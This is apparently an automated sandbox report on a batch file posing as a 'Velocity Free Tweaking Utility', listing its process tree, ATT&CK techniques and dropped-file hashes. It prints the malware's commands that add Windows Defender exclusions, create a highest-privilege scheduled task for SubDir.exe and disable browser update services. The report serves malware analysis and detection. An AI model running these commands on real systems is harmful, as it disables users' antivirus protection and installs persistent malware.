- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Velocity_Free_Tweaking_Utility.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4692
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %b in (1) do rem"
        5⤵
        
        PID:3940
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3500
    - - C:\Windows\system32\mode.com
        
        mode 1000
        5⤵
        
        PID:3484
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:1092
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "0" nul
        5⤵
        
        PID:4464
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:3520
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:1264
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "1" nul
        5⤵
        
        PID:1904
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:3916
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:116
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "2" nul
        5⤵
        
        PID:4064
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:1672
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:1776
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "3" nul
        5⤵
        
        PID:3224
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:2128
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:4420
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "4" nul
        5⤵
        
        PID:3948
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:2508
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:788
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "5" nul
        5⤵
        
        PID:1836
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:2608
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:5104
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "6" nul
        5⤵
        
        PID:3756
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:1016
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:2060
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "7" nul
        5⤵
        
        PID:4080
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:3400
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:2996
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "8" nul
        5⤵
        
        PID:4656
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:4796
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:1756
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "9" nul
        5⤵
        
        PID:1680
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:216
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" " [" nul
        5⤵
        
        PID:932
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:5 /R "^$" "10" nul
        5⤵
        
        PID:3028
    - - C:\Windows\system32\findstr.exe
        
        findstr /v /a:F /R "^$" "]" nul
        5⤵
        
        PID:4444
  - - C:\Users\Admin\AppData\Local\Temp\XClient.exe
      "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2284
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\SubDir.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1488
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SubDir.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4824
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "SubDir" /tr "C:\Users\Admin\AppData\Roaming\SubDir.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3372
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\Control Panel\Cursors" /v "Wait" /t REG_EXPAND_SZ /d "" /f
    3⤵
    PID:4312
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\Control Panel\Cursors" /ve /t REG_SZ /d "" /f
    3⤵
    PID:4488
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\PriorityControl" /v "Win32PrioritySeparation" /t REG_DWORD /d "40" /f
    3⤵
    PID:4944
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\PriorityControl" /v "IRQ8Priority" /t REG_DWORD /d "1" /f
    3⤵
    PID:4048
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\PriorityControl" /v "IRQ16Priority" /t REG_DWORD /d "2" /f
    3⤵
    PID:3240
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\PriorityControl" /v "ConvertibleSlateMode" /t REG_DWORD /d "0" /f
    3⤵
    PID:2752
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\System\CurrentControlSet\Control\CrashControl" /v "DisplayParameters" /t REG_DWORD /d "1" /f
    3⤵
    PID:4980
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\GoogleChromeElevationService" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4600
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\gupdate" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:2396
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\gupdatem" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3204
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\MicrosoftEdgeElevationService" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4268
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\edgeupdate" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:4768
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\edgeupdatem" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:3588
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\MozillaMaintenance" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    PID:1216
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Origin Client Service" /v "Start" /t REG_DWORD /d "3" /f
    3⤵
    PID:5068
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Origin Web Helper Service" /v "Start" /t REG_DWORD /d "3" /f
    3⤵
    PID:3648
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Steam Client Service" /v "Start" /t REG_DWORD /d "3" /f
    3⤵
    PID:2372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:2340

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3344

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:3104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
67e8893616f805af2411e2f4a1411b2a

SHA1
39bf1e1a0ddf46ce7c136972120f512d92827dcd

SHA256
ca0dfe104c1bf27f7e01999fcdabc16c6400c3da937c832c26bdbca322381d31

SHA512
164e911a9935e75c8be1a6ec3d31199a16ba2a1064da6c09d771b2a38dd7fddd142301ef55d67d90f306d3a454a1ce7b72e129ea42e44500b9b8c623a8d98b4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ab1c06eb58feaa4c391aca847a9d8c22

SHA1
7135120dfad41b4d64e675294e1b974891b3ee76

SHA256
3705f63962d11b61c726853043b5c47800b77b3392f8ef42921fb31514eeba8e

SHA512
8fe9947248e64b2cb94af62bc8126f4c13700254a17a204b58535cb9ad32919be5aeca0e745127ceb8c666dc3b3140bb406d7591b32531c6c3eb1771ee571edb

Download Submit
C:\Users\Admin\AppData\Local\Temp\ [

Filesize
3B

MD5
df66fa563a2fafdb93cc559deb0a38c4

SHA1
e6666cf8574b0f7a9ae5bccee572f965c2aec9cb

SHA256
3e39ed22dc63246937c4dbbf34ce4fb1cfe6b00de7596b020cad49ae50031351

SHA512
34ea05ee75cd840a94526411777868edb293a69867e1fdc2c2e917d278a3d58fcb86afc65142f4b184ce6907f04fb254a86061cfb620f01874b0b454a6f01c18

Download Submit
C:\Users\Admin\AppData\Local\Temp\Velocity_Free_Tweaking_Utility.bat

Filesize
79KB

MD5
c410192a848f49befb5eadce93c721d8

SHA1
ae716ed832e822d646503bafb81816634fcfc8ad

SHA256
4f18502b6ca846e63158f410d48b5e17c23e82a4b4215cbef0d9790d29ebdbe5

SHA512
c28fcff463566f16712dee6db6a4dca2e989b3883fc835c71fedf0a7db181ff60b0f25dd0c84779882a5ce5b3c3d74f4736437de9c38d4e7b738f02fdc3ee3b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\XClient.exe

Filesize
70KB

MD5
68a5231ad845ddbf1068d17fa47d0096

SHA1
e3ea3f411e7b3ea88b418b99e67fed3cb4ad1408

SHA256
487948ed1783108708cc108e3a52b25022a6f10f9a236f427435588c62d76004

SHA512
99364906b2902a9ffc0725cbad9032cb4597650cab1c7f6dce9786dd8cd4e753ed9485418d5390248b5c624ef1043c12411d65a8158d5db280b4e6bcf0c78d83

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_akbtguwc.b5z.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\SubDir.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/968-83-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/1124-86-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/1164-40-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/1244-84-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/1348-80-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/1544-82-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/1652-88-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/1760-37-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/1936-87-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/2276-85-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/2340-39-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/2464-130-0x0000000000F40000-0x0000000000F58000-memory.dmp

Filesize
96KB

Download
memory/2544-38-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/2552-36-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/2796-41-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/3344-35-0x00007FFF0F2CC000-0x00007FFF0F2CD000-memory.dmp

Filesize
4KB

Download
memory/3344-32-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/3436-34-0x00007FFF0F2CD000-0x00007FFF0F2CE000-memory.dmp

Filesize
4KB

Download
memory/3436-21-0x0000000003470000-0x000000000349A000-memory.dmp

Filesize
168KB

Download
memory/3436-31-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/4324-33-0x00007FFECF2B0000-0x00007FFECF2C0000-memory.dmp

Filesize
64KB

Download
memory/4876-170-0x00007FFF010E3000-0x00007FFF010E4000-memory.dmp

Filesize
4KB

Download
memory/4876-14-0x0000024764AC0000-0x0000024764B36000-memory.dmp

Filesize
472KB

Download
memory/4876-30-0x00000247649D0000-0x00000247649E8000-memory.dmp

Filesize
96KB

Download
memory/4876-168-0x00007FFEF1220000-0x00007FFEF1CE1000-memory.dmp

Filesize
10.8MB

Download
memory/4876-138-0x00007FFEF1223000-0x00007FFEF1225000-memory.dmp

Filesize
8KB

Download
memory/4876-16-0x0000024764A40000-0x0000024764AB2000-memory.dmp

Filesize
456KB

Download
memory/4876-15-0x00000247645D0000-0x00000247645D8000-memory.dmp

Filesize
32KB

Download
memory/4876-0-0x00007FFEF1223000-0x00007FFEF1225000-memory.dmp

Filesize
8KB

Download
memory/4876-13-0x00000247649F0000-0x0000024764A34000-memory.dmp

Filesize
272KB

Download
memory/4876-12-0x00007FFEF1220000-0x00007FFEF1CE1000-memory.dmp

Filesize
10.8MB

Download
memory/4876-11-0x00007FFEF1220000-0x00007FFEF1CE1000-memory.dmp

Filesize
10.8MB

Download
memory/4876-10-0x00000247645E0000-0x0000024764602000-memory.dmp

Filesize
136KB

Download
memory/4876-320-0x0000024764C40000-0x0000024764C4C000-memory.dmp

Filesize
48KB

Download
memory/4876-327-0x00007FFEF1220000-0x00007FFEF1CE1000-memory.dmp

Filesize
10.8MB

Download